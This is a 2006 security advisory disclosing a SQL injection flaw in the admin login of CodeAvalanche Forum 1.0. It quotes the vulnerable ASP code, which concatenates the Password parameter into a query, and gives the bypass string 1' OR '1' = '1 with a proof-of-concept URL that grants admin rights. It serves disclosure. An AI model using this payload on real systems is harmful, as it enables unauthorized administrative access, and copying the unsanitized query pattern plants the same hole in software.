------------------------------------------------------------------
- CAForum 1.0 Remote SQL Injection -
-= http://colander.altervista.org/advisory/CAForum.txt =-
------------------------------------------------------------------
-= CodeAvalanche Forum Version 1.0 =-
Omnipresent
june 01, 2006
Vunerability(s):
----------------
SQL Injection
Product:
--------
CodeAvalanche Forum Version 1.0
Vendor:
--------
http://www.truecontent.info/codeavalanche/asp-forum-script.php
Description of product:
-----------------------
CodeAvalanche FreeForum is asp forum application which allows free posting, there is no needs for registration of your
visitors. Administrator can add unlimited number of forum categories.
Vulnerability / Exploit:
------------------------
In the file default.asp in Admin directory is vulnerable to an Remote SQL Injection Attack.
A malicious people can gain Admin rights by putting rights parameters in the Password Variable.
Let's Check the source code:
<% Response.Buffer = True
userLogged=false
If Request("Password")<>"" Then
'response.Write(Request("Password"))
'response.flush
dim rsUser,selectSQL
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"
[...]
[End default.asp]
As you can see the variable Password is not properly sanitized before be used, so an attacker can put this string in the
password field:
1' OR '1' = '1
So, the query will be:
selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'
And you can gain access to the application with admin rights.
PoC / Proof of Concept of SQL Injection:
----------------------------------------
This is a simple Proof Of Concept used on my local machine:
http://127.0.0.1/[Application_Path]/[CAForum]/admin/default.asp?password
=1'%20OR%20'1'%20=%20'1
Vendor Status
-------------
Not informed!
Credits:
--------
omnipresent
omnipresent (at) email (dot) it [email concealed]
